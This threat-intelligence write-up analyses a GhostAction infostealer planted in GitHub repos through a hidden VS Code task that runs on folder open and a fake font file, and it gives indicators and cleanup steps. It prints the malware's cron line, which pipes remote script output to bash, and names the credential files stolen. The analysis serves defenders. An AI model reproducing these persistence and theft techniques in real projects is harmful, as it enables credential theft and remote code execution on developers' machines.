
GhostAction Copycats PolinRider by Hiding a Stealer in a Fake Font File
Analysis of a new GhostAction Stage 2 found in 94 compromised GitHub repos: a hidden .vscode/tasks.json (runOn folderOpen) executes a plain-JavaScript infostealer disguised as public/fonts/fa-solid-400.woff2. The stealer grabs cloud, registry, SSH, Claude/Gemini credentials, POSTs them to a hardcoded IP on port 8080, and installs a 5-minute cron job (#ghc2) that pipes the server's script to bash. It copies PolinRider's launcher but shares no IOCs with it, and the post gives a timeline, one repo hit by both campaigns, IOCs, and cleanup steps (revoke tokens, remove cron, set task.allowAutomaticTasks off).
What it is
A GhostAction "Stage 2" found by OpenSourceMalware in 94 GitHub repos (66 owners; 79 cloned and analyzed). It copies PolinRider's fake-font launcher but shares no IOCs with it, so the authors call it a copycat. The key point is persistence: it survives removal of the malicious workflow, because the stealer installs a cron job on developer machines.
How it works
.vscode/tasks.json(byte-identical across the 79) defines a hidden task labelledeslint-checkwithrunOn: folderOpen. It runsnode ./public/fonts/fa-solid-400.woff2.- The "font" is 38 lines of plain Node.js. It reads
~/.aws/credentials,.pypirc,.npmrc,.git-credentials,.netrc,.claude/.credentials.json,.gemini/oauth_creds.jsonand.kube/config(first 3,000 bytes each). It readsid_rsaandid_ed25519in full, greps the home directory for AWS, Anthropic, GitHub, npm and PyPI token patterns, and collects some env vars. One plain-HTTP POST goes to193[.]32[.]204[.]199:8080/?c=<tag>. - It then installs this cron entry, which gives the operator remote command execution every 5 minutes, with a per-hostname path:
*/5 * * * * curl -s -m 10 http://<server>:8080/c2/$(hostname) | bash #ghc2- A second CI workflow is added as a fallback (7 filenames, plus
cache-cleanup.ymlin one repo). It scans the wiki withGITHUB_TOKENand falls back to a secret gist. - Stage 3 content is unknown; the authors had not retrieved what the server returns.
Preconditions / Affected
- The victim must open the repo in VS Code in a trusted workspace with automatic tasks allowed, either by clicking Allow at the one-time prompt or by setting
task.allowAutomaticTasksto on. Running the file withnodehas the same effect. - The cron job installs on macOS and Linux only. On Windows the theft runs but there is no
crontab. - Stage 1 is not required:
psm-2/ai-artifactsgot Stage 2 alone. - Most repos were dormant (65 of 79 had no commit for more than a year), so old forgotten repos are at risk.
- One repo,
daxitzadafiya/bagisto-dhs, also carries a separate PolinRider infection in its Tailwind configs, with no shared indicator.
What to do
Repo owners
- Revoke first, from a clean device: GitHub sessions, PATs, OAuth grants (including client ID
Ov23ctrqCqZ79UaYKwyq), GitHub Apps, SSH keys and deploy keys. Then change the password and enable phishing-resistant MFA. Two owners who only deleted the workflow were re-hit six days later. - Hunt across every repo the account can write to, including forks:
security-audit.ymlor other workflows that send data to the IP, a.vscode/tasks.jsonwith a hiddeneslint-checktask, text files named like fonts underpublic/fonts, and config files ending in a block after a long run of whitespace. - Remove the files on every branch, and rotate every Actions secret and any credential ever committed to any branch (Stage 1 reads full git history).
- Require approval for workflow runs, require reviews on
.github/workflows, and block force-pushes.
Anyone who opened a repo
- Confirm
task.allowAutomaticTasksisoff(the default). - Run
crontab -land remove any line mentioning the IP or ending in#ghc2. Deleting the font file does not remove the cron job. - If the cron entry is present, consider rebuilding the machine and checking for other persistence. Rotate SSH, cloud, npm, PyPI, GitHub, kubeconfig and Anthropic/OpenAI/Gemini credentials from a clean device after containment.
Detection
- Block or search for
193.32.204.199, the one indicator that never changed. - Hashes:
tasks.jsonisa043f03e89ef55779f4f630138cf5efe1dd37632e176c7a0d9bbfa989ba84eeb. The font has three variants by tag (reinject,auto_20261015,auto_20261014); the page lists their SHA-256s. - Commit messages to search: "Add font assets", "Add editor task", "Add security audit workflow".
- Don't rely on old Stage 1 markers (
AKIA_CTX_START, ports 80/3000): they changed after public disclosure.
Caveats
- The stealer has bugs. Env-var patterns
_API_KEYand_TOKENare^-anchored, so they rarely match. The 10-second grep timeout discards its results. Direct file and SSH key reads are unaffected. The authors did not test either behavior. - How the attacker got push access is not established. A phishing kit exists but is not tied to these repos.
- The meaning of the batch tags and what the server does with them are unresolved.
- The copycat label rests on the absence of shared IOCs, not on proven attribution.
Organisations named here
- 193.32.204.199
- EtherHiding
- #ghc2
- runOn folderOpen
- tasks.json
- Thijs Xhaflaire
Technologies named here
- GitHub repositories and GitHub Actions workflows
- OpenSourceMalware
- StepSecurity
- Visual Studio Code
- Socket
- macOS and Linux developer machines
- Self-hosted GitHub runners
- GitGuardian
- Targeted credentials
- The Hacker News
- crontab -l
- OpenSourceMalware PolinRider guide
- VS Code
- GitHub Actions
- GitHub
- Node.js
- Claude Code
- TRON
- fa-solid-400.woff2
Techniques named here
- Masquerading
- Indicator evasion
Threat actors named here
- GhostAction Stage 1
- GhostAction Stage 2 infostealer
- GhostAction
- PolinRider
- DPRK
Related in Threat Intel
Reverse Engineering the Six Stages of MacSync Stealer and RAT
AI-Coded Malware | Analyzing Vibe-Coded AD Enumeration | Huntress
